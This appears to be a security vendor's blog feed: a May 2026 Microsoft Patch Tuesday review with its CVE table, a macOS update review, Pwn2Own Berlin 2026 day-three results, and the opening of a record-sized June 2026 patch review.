CVE-2026-41100	Microsoft 365 Copilot for Android Spoofing Vulnerability	Important	4.4	No	No	Spoofing
CVE-2026-40377	Microsoft Cryptographic Services Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-41094	Microsoft Data Formulator Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-40417	Microsoft Dynamics 365 Business Central Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42833	Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability	Important	9.1	No	No	RCE
CVE-2026-42838	Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability	Important	5.4	No	No	EoP
CVE-2026-40360	Microsoft Excel Information Disclosure Vulnerability	Important	7.8	No	No	Info
CVE-2026-40359	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-40362	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-42832	Microsoft Excel Spoofing Vulnerability	Important	7.7	No	No	Spoofing
CVE-2026-34329	Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-40419	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40418	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-35436	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-40420	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-42893	Microsoft Outlook for iOS Tampering Vulnerability	Important	7.4	No	No	Tampering
CVE-2026-40374	Microsoft Power Automate Desktop Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-41102	Microsoft PowerPoint for Android Spoofing Vulnerability	Important	7.1	No	No	Spoofing
CVE-2026-35439	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-40368	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-33110	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-33112	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-40357	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-32185	Microsoft Teams Spoofing Vulnerability	Important	5.5	No	No	Spoofing
CVE-2026-41101	Microsoft Word for Android Spoofing Vulnerability	Important	7.1	No	No	Spoofing
CVE-2026-35440	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-40421	Microsoft Word Information Disclosure Vulnerability	Important	4.3	No	No	Info
CVE-2026-41097	Secure Boot Security Feature Bypass Vulnerability	Important	6.7	No	No	SFB
CVE-2026-40370 †	SQL Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-41613	Visual Studio Code Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-41612	Visual Studio Code Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-41611	Visual Studio Code Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-41610	Visual Studio Code Security Feature Bypass Vulnerability	Important	6.3	No	No	SFB
CVE-2026-33839	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33840	Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34330	Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34331	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-35423	Windows 11 Telnet Client Information Disclosure Vulnerability	Important	5.4	No	No	Info
CVE-2026-35438	Windows Admin Center Elevation of Privilege Vulnerability	Important	8.3	No	No	EoP
CVE-2026-41086	Windows Admin Center in Azure Portal Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-34344	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34345	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-35416	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-41088	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34343	Windows Application Identity (AppID) Subsystem Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-35418	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-33835	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34337	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40407	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40397	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42896	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-35419	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-34336	Windows DWM Core Library Information Disclosure Vulnerability	Important	7.8	No	No	Info
CVE-2026-33834	Windows Event Logging Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32209	Windows Filtering Platform (WFP) Security Feature Bypass Vulnerability	Important	4.4	No	No	SFB
CVE-2026-33841	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-35420	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40369	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34332	Windows Kernel-Mode Driver Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-34339	Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability	Important	5.5	No	No	DoS
CVE-2026-34341	Windows Link-Layer Discovery Protocol (LLDP) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33838	Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34342	Windows Print Spooler Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-41095	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34340	Windows Projected File System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-40398	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21530	Windows Rich Text Edit Elevation of Privilege Vulnerability	Important	6.7	No	No	EoP
CVE-2026-32170	Windows Rich Text Edit Elevation of Privilege Vulnerability	Important	6.7	No	No	EoP
CVE-2026-40410	Windows SMB Client Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-35415	Windows Storage Spaces Controller Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34350	Windows Storport Miniport Driver Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-40405	Windows TCP/IP Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-40414	Windows TCP/IP Denial of Service Vulnerability	Important	7.4	No	No	DoS
CVE-2026-40401	Windows TCP/IP Denial of Service Vulnerability	Important	6.2	No	No	DoS
CVE-2026-40413	Windows TCP/IP Denial of Service Vulnerability	Important	7.4	No	No	DoS
CVE-2026-35422	Windows TCP/IP Driver Security Feature Bypass Vulnerability	Important	6.5	No	No	SFB
CVE-2026-34351	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40399	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34334	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40406	Windows TCP/IP Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-33837	Windows TCP/IP Local Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40415	Windows TCP/IP Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-42825	Windows Telephony Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-34338	Windows Telephony Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40382	Windows Telephony Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40380	Windows Volume Manager Extension Driver Remote Code Execution Vulnerability	Important	6.2	No	No	RCE
CVE-2026-40408	Windows WAN ARP Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34333	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34347	Windows Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-35417	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42891	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Moderate	6.5	No	No	Spoofing
CVE-2026-35429	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Moderate	4.3	No	No	Spoofing
CVE-2026-41107	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Moderate	7.4	No	No	Info
CVE-2026-40416	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Low	4.3	No	No	Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Looking at the other Critical-rated bugs in this month’s release, there are quite a few scary-looking bugs (including a CVSS 10!), but there’s no action for the end user as Microsoft has already mitigated these bugs and is just now documenting them. There’s also this month’s crop of Office bugs where the Preview Pane is an attack vector. However, the bug in Office for Android does not have the Preview Pane vector; it’s simple open and own. The bug in the WiFi driver needs a network adjacent attacker. The SharePoint bug requires authentication, but anyone with site privileges has the authentication needed. The bug in SSO Plugin for Jira & Confluence should really be called an authentication bypass, since it allows an unauthenticated attacker to gain access to a system.

Looking at the other code execution bugs, most are of the open and own variety as expected. The bug in Dynamic 365 (On Prem) requires high privileges. The Message Queueing bug requires an adjacent attacker. The bug in SQL Server requires authentication, but as usual, patching won’t be straightforward. Finally, there’s a bug in the kernel that leads to code execution. Most kernel bugs are privilege escalations, but this one could allow code execution if an attacker sends specially crafted NVMe over Fabrics (NVMe‑oF) response messages during the connection handshake process that contains an invalid header length value. Neat.

As usual, the vast majority of the Microsoft release fixes Elevation of Privilege (EoP) bugs. Also as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. There are also a few bugs that just state the attacker could “gain ELEVATED privileges.” How obtuse. The bugs in Azure allow an attacker to access data otherwise hidden from them. The Edge bug allows threat actors to elevate to the privileges of the running application. The bug in Visual Studio allows attackers to get permissions associated with the MCP Server’s managed identity. Finally, there are a couple of sandbox escapes, too, which are always useful.

This month's update includes six Security Feature Bypass vulnerabilities. The most severe is in the Azure SDK for Java (CVSS 9.1). An attacker over the network can bypass the integrity protection provided by authentication tags on encrypted data, effectively manipulating encrypted input in a way that slips past integrity checks during decryption. Close behind is the bypass affecting the GitHub Copilot integration in Visual Studio Code (CWE-74). This one requires a user interaction, but it allows an attacker to circumvent the path validation safeguards that normally control which files Copilot is permitted to modify. The other Visual Studio Code bypass involves cross-site scripting, improper link resolution, and information exposure triggered when a user opens or views a maliciously crafted notebook. On the Windows networking side there are two bypasses. The first hits the Windows TCP/IP driver via an authentication bypass using an alternate channel. The other impacts the Windows Filtering Platform through improper access control, allowing a local, low-privileged attacker to bypass FQDN-based network security rules. Finally, there’s a Secure Boot bypass that, you guessed it, bypasses secure boot features.

Moving on to the Information Disclosure bugs fixed this month, we have 15 different CVEs. As usual, the majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The bug in Power Automate could expose data marked “Sensitive” within Power Automate Desktop flows. One of the Word bugs could disclose NLTM hashes. The bug in Edge could disclose your cookies, which seems rude. The bug in Visual Studio could expose file path information. Finally, there’s a bug in Telnet for Windows 11 that leaks information being used by Telnet at the time. I didn’t even realize Windows 11 still had a telnet client.

The May release contains 10 spoofing bugs (plus the ones already addressed by Microsoft). The bug in Azure Machine Learning Notebooks vulnerability requires user interaction, but it could expose info through the Azure ML web interface to the attacker. There’s a cluster of fixes for Microsoft's mobile Office suite on Android. Excel, Word, and PowerPoint for Android all carry spoofing flaws rooted in improper access control. Two Copilot products are also affected by spoofing vulns. The M365 Copilot for Desktop has no details provided. The M365 Copilot for Android variant requires low privileges and producing only limited impact on confidentiality and integrity. Microsoft Teams for Android rounds out the mobile app spoofing bugs. Three Edge bugs close things out, all involving misrepresentation of information in the browser UI.

There are two Tampering bugs in this month’s release. The one in .NET Core allows threat actors to write files to an affected system. The other is in Outlook for iOS and manifests as a command injection bug.

There are eight DoS bugs in the May release, but as always, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting from a practical standpoint are two TCP/IP bugs that allow a low-privilege Hyper-V guest to crash the host. Both are triggered from the adjacent network. On the broader network-exposure side, the ASP.NET Core bug is a straightforward infinite loop condition — an unauthenticated attacker sends a crafted request over the network and the server stops responding.

No new advisories are being released this month.

Looking Ahead

Assuming I survive Pwn2Own Berlin (which is looking iffy at the moment), I’ll return on June 9th on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

The Apple macOS Security Update Review

Sat, 25 Jul 2026 19:02:56 +0200

We’ve received some feedback from those who read the Patch Blog that they would like something similar for macOS updates. Unfortunately, Apple doesn’t schedule these for a particular day, but we can provide our thoughts and analysis on the days they do release their latest patches.

For May 2026, Apple released 82 unique CVEs across the three macOS versions: 79 for macOS Tahoe 26.5, 45 for macOS Sequoia 15.7.7, and 42 for macOS Sonoma 14.8.7. Since Apple doesn’t provide CVSS scores or other severity information, we’re left to speculate on which of these bugs is the most severe. However, there are a couple that stand out.

- CVE-2026-28819 (Wi-Fi) stands out as the strongest candidate for the most severe as it states, “An app may be able to execute arbitrary code with kernel privileges.” The combination of arbitrary code execution at the kernel level is about as bad as it gets on a severity scale. Plus, it affects all three macOS versions (Tahoe, Sequoia, and Sonoma).

- CVE-2026-43668 (mDNSResponder) also piques my interest since, “A remote attacker may be able to cause unexpected system termination or corrupt kernel memory.” The remote attack vector with kernel memory corruption on all three OS versions makes this a serious one, especially since mDNSResponder is always running.

- CVE-2026-28972 (Kernel) This one states that “An app may be able to cause unexpected system termination or write kernel memory.” An out-of-bounds write directly into kernel memory on all three OS versions. This one may also have implications in the upcoming Pwn2Own Berlin contest.

Here’s a look at all the bugs released by Apple this month:

82Unique CVEs 79macOS Tahoe 26.5 45macOS Sequoia 15.7.7 42macOS Sonoma 14.8.7

CVE ID	Component	Impact	macOS Tahoe 26.5	macOS Sequoia 15.7.7	macOS Sonoma 14.8.7
CVE-2026-28991	Accelerate	An app may be able to cause a denial-of-service	Yes	No	No
CVE-2026-28988	Accounts	An app may be able to bypass certain Privacy preferences	Yes	No	No
CVE-2026-28959	APFS	An app may be able to cause unexpected system termination	Yes	Yes	Yes
CVE-2026-28995	App Intents	A malicious app may be able to break out of its sandbox	Yes	No	No
CVE-2026-1837	AppleJPEG	Processing a maliciously crafted image may lead to a denial-of-service	Yes	No	No
CVE-2026-28956	AppleJPEG	Processing a maliciously crafted media file may lead to unexpected app termination or corrupt process memory	Yes	Yes	Yes
CVE-2026-39869	Audio	Processing an audio stream in a maliciously crafted media file may terminate the process	Yes	Yes	Yes
CVE-2026-28922	CoreMedia	An app may be able to access private information	Yes	Yes	Yes
CVE-2026-28936	CoreServices	Processing a maliciously crafted file may lead to unexpected app termination	Yes	No	Yes
CVE-2026-28918	CoreSymbolication	Parsing a maliciously crafted file may lead to an unexpected app termination	Yes	No	No
CVE-2026-28878	Crash Reporter	An app may be able to enumerate a user's installed apps	No	Yes	No
CVE-2026-28915	CUPS	An app may be able to gain root privileges	Yes	Yes	Yes
CVE-2026-43659	FileProvider	An app may be able to access sensitive user data	Yes	Yes	Yes
CVE-2026-28923	GPU Drivers	A malicious app may be able to break out of its sandbox	Yes	Yes	Yes
CVE-2026-28925	HFS	An app may be able to cause unexpected system termination or write kernel memory	Yes	Yes	Yes
CVE-2025-43524	Icons	An app may be able to break out of its sandbox	No	Yes	Yes
CVE-2026-43661	ImageIO	Processing a maliciously crafted image may corrupt process memory	Yes	No	No
CVE-2026-28977	ImageIO	Processing a maliciously crafted file may lead to unexpected app termination	Yes	Yes	Yes
CVE-2026-28990	ImageIO	Processing a maliciously crafted image may corrupt process memory	Yes	Yes	Yes
CVE-2026-28978	Installer	A malicious app may be able to break out of its sandbox	Yes	Yes	Yes
CVE-2026-28992	IOHIDFamily	An attacker may be able to cause unexpected app termination	Yes	Yes	Yes
CVE-2026-28943	IOHIDFamily	An app may be able to determine kernel memory layout	Yes	Yes	Yes
CVE-2026-28969	IOKit	An app may be able to cause unexpected system termination	Yes	Yes	Yes
CVE-2026-43655	IOSurfaceAccelerator	An app may be able to cause unexpected system termination or read kernel memory	Yes	No	No
CVE-2026-43654	Kernel	An app may be able to disclose kernel memory	Yes	Yes	Yes
CVE-2026-28908	Kernel	An app may be able to modify protected parts of the file system	Yes	Yes	Yes
CVE-2026-28954	Kernel	A maliciously crafted disk image may bypass Gatekeeper checks	Yes	Yes	Yes
CVE-2026-28897	Kernel	A local user may be able to cause unexpected system termination or read kernel memory	Yes	Yes	Yes
CVE-2026-28952	Kernel	An app may be able to cause unexpected system termination	Yes	Yes	Yes
CVE-2026-28951	Kernel	An app may be able to gain root privileges	Yes	Yes	Yes
CVE-2026-28972	Kernel	An app may be able to cause unexpected system termination or write kernel memory	Yes	Yes	Yes
CVE-2026-28986	Kernel	An app may be able to cause unexpected system termination	Yes	Yes	Yes
CVE-2026-28987	Kernel	An app may be able to leak sensitive kernel state	Yes	Yes	Yes
CVE-2026-28983	LaunchServices	A remote attacker may be able to cause a denial of service	Yes	No	No
CVE-2026-28929	Mail Drafts	Replying to an email could display remote images in Mail in Lockdown Mode	Yes	Yes	Yes
CVE-2026-43653	mDNSResponder	An attacker on the local network may be able to cause a denial-of-service	Yes	No	Yes
CVE-2026-28985	mDNSResponder	An attacker on the local network may be able to cause a denial-of-service	Yes	No	No
CVE-2026-43668	mDNSResponder	A remote attacker may be able to cause unexpected system termination or corrupt kernel memory	Yes	Yes	Yes
CVE-2026-43666	mDNSResponder	An attacker on the local network may be able to cause a denial-of-service	Yes	Yes	Yes
CVE-2026-28941	Model I/O	Processing a maliciously crafted file may lead to a denial-of-service or potentially disclose memory contents	Yes	Yes	No
CVE-2026-28940	Model I/O	Processing a maliciously crafted image may corrupt process memory	Yes	Yes	No
CVE-2026-28961	Network Extensions	An attacker with physical access to a locked device may be able to view sensitive user information	Yes	No	No
CVE-2026-28906	Networking	An attacker may be able to track users through their IP address	Yes	Yes	Yes
CVE-2026-28840	PackageKit	An app may be able to gain root privileges	No	Yes	Yes
CVE-2026-43656	Quick Look	Parsing a maliciously crafted file may lead to an unexpected app termination	Yes	Yes	Yes
CVE-2026-43652	Sandbox	An app may be able to access protected user data	Yes	No	No
CVE-2026-39870	SceneKit	Processing a maliciously crafted image may corrupt process memory	Yes	Yes	Yes
CVE-2026-28846	SceneKit	A remote attacker may be able to cause unexpected app termination	Yes	Yes	Yes
CVE-2026-28993	Shortcuts	An app may be able to access user-sensitive data	Yes	Yes	Yes
CVE-2026-28848	SMB	A remote attacker may be able to cause unexpected system termination	Yes	Yes	No
CVE-2026-28930	Spotlight	An app may be able to access protected user data	Yes	No	No
CVE-2026-28974	Spotlight	An app may be able to cause a denial-of-service	Yes	Yes	No
CVE-2026-28996	Storage	An app may be able to access sensitive user data	Yes	Yes	Yes
CVE-2026-28919	StorageKit	An app may be able to gain root privileges	Yes	Yes	Yes
CVE-2026-28924	Sync Services	An app may be able to access Contacts without user consent	Yes	Yes	Yes
CVE-2026-39871	TV App	An app may be able to observe unprotected user data	Yes	Yes	Yes
CVE-2026-28976	UserAccountUpdater	An app may be able to gain root privileges	Yes	No	No
CVE-2026-43660	WebKit	Processing maliciously crafted web content may prevent Content Security Policy from being enforced	Yes	No	No
CVE-2026-28907	WebKit	Processing maliciously crafted web content may prevent Content Security Policy from being enforced	Yes	No	No
CVE-2026-28962	WebKit	Processing maliciously crafted web content may disclose sensitive user information	Yes	No	No
CVE-2026-43658	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	No	No
CVE-2026-28905	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28847	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28904	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28955	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28903	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28953	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28902	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28901	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28913	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28883	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28958	WebKit	An app may be able to access sensitive user data	Yes	No	No
CVE-2026-28917	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28947	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	No	No
CVE-2026-28946	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	No	No
CVE-2026-28942	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	No	No
CVE-2026-28971	WebKit	A malicious iframe may use another website's download settings	Yes	No	No
CVE-2026-28944	WebRTC	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28819	Wi-Fi	An app may be able to execute arbitrary code with kernel privileges	Yes	Yes	Yes
CVE-2026-28994	Wi-Fi	An attacker in a privileged network position may be able to perform denial-of-service attack using crafted Wi-Fi packets	Yes	Yes	Yes
CVE-2026-28914	zip	A maliciously crafted ZIP archive may bypass Gatekeeper checks	Yes	No	No
CVE-2026-28920	zlib	Visiting a maliciously crafted website may leak sensitive data	Yes	Yes	Yes

CVEs marked with the scarab logo were reported through the TrendAI Zero Day Initiative program.

We’ll continue these macOS updates if people find them useful. Stay tuned for the regularly schedule Patch Tuesday blog covering Adobe and Microsoft.

Pwn2Own Berlin 2026: Day Three Results and Master of Pw

Sat, 25 Jul 2026 19:02:54 +0200

Following two days of intense competition, Day Three of Pwn2Own Berlin 2026 brought the curtain down on an incredible event. Security researchers delivered their final exploits, pushing enterprise systems to the limit one last time as the race for Master of Pwn came to a close.

Day Three added to an already historic event, bringing the final totals to $1,298,250 awarded for 47 unique 0-day vulnerabilities across three days of competition. DEVCORE claimed the title of Master of Pwn with a commanding 50.5 points and $505,000 — a dominant performance across all three days. STARLabs SG finished in second with 25 points and $242,500, followed by Out Of Bounds in third with 12.75 points and $95,750.

Congratulations to all the researchers who participated, and a special thank you to OffensiveCon for hosting. We'll see you at the next Pwn2Own.

Here are the results of Day Three:

SUCCESS/COLLISION - Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) used two bugs to exploit Red Hat Linux, but one of the bugs was previously known. He still earns $7,000 and 1.5 Master of Pwn points.

SUCCESS - Le Tran Hai Tung (@tacbliw), dungnm (@dungnm_) and hieuvd (@gr4ss341) of Viettel Cyber Security (@vcslab) used an integer overflow to escalate privileges on #Windows 11. Their 5th round win nets them $7,500 and 3 Master of Pwn points.

SUCCESS - Satoki Tsuji (@satoki00) of Ikotas Labs, Inc. abused an external control to exploit OpenAI Codex and pop a host of calcs. He earns $20,000 and 4 Master of Pwn points.

FAILURE - Unfortunately, Giuseppe Calì of Summoning Team (@SummoningTeam) could not get their exploit of VMware ESXi working within the time allotted.

COLLISON - Although successful on stage, Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller (@compasssecurity) of Compass Security targeted Anthropic Claude Code, hitting a one-vulnerability collision with a previous attempt and earning $20,000 and 2 Master of Pwn points.

SUCCESS - Hyunwoo Kim (@v4bel) chained a use-after-free and uninitialized memory bug to escalate privileges on Red Hat Enterprise Linux for Workstations in the fourth round, earning $5,000 and 2 Master of Pwn points.

SUCCESS - splitline (@splitline) of DEVCORE Research Team chained 2 bugs to exploit Microsoft SharePoint, earning $100,000 and 10 Master of Pwn points.

SUCCESS - Nguyen Hoang Thach (@hi_im_d4rkn3ss) of STARLabs SG (@starlabs_sg) used a Memory Corruption bug to exploit VMware ESXi with the Cross-tenant Code Execution add-on, earning $200,000 and 20 Master of Pwn points.

COLLISON - While Byung Young Yi (@yibarrack) of Out Of Bounds successfully demonstrated their exploit of Anthropic Claude Code, the bug used had been previously disclosed. They still earn $20,000 and 2 Master of Pwn points.

The June 2026 Security Update Review

Sat, 25 Jul 2026 19:02:53 +0200

I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for June 2026

For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.

Here’s this month’s overview table:

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-66	Adobe Campaign Classic	2	Critical	10.0	No	1
APSB26-64	Adobe ColdFusion	7	Critical	9.6	No	1
APSB26-63	Adobe Acrobat Reader	20	Critical	7.8	No	2
APSB26-57	Adobe Experience Manager Forms	3	Critical	9.3	No	2
APSB26-62	Adobe Dreamweaver	5	Critical	8.6	No	3
APSB26-65	Adobe Format Plugins	2	Critical	7.8	No	3
APSB26-59	Adobe InCopy	3	Critical	7.8	No	3
APSB26-58	Adobe InDesign	12	Critical	7.8	No	3
APSB26-60	Adobe Substance 3D Sampler	4	Critical	7.8	No	3
APSB26-61	Content Credentials SDK	8	Critical	7.5	No	3
APSB26-56	Adobe Experience Manager	57	Important	5.4	No	3
TOTAL	11 bulletins	123

Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.

Microsoft Patches for June 2026

This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.

One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.

I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.

One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.

- CVE-2026-41091 - Microsoft Defender Elevation of Privilege Vulnerability
Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.

- CVE-2026-45657 - Windows Kernel Remote Code Execution Vulnerability
This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.

- CVE-2026-47291 - HTTP.sys Remote Code Execution Vulnerability
Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.

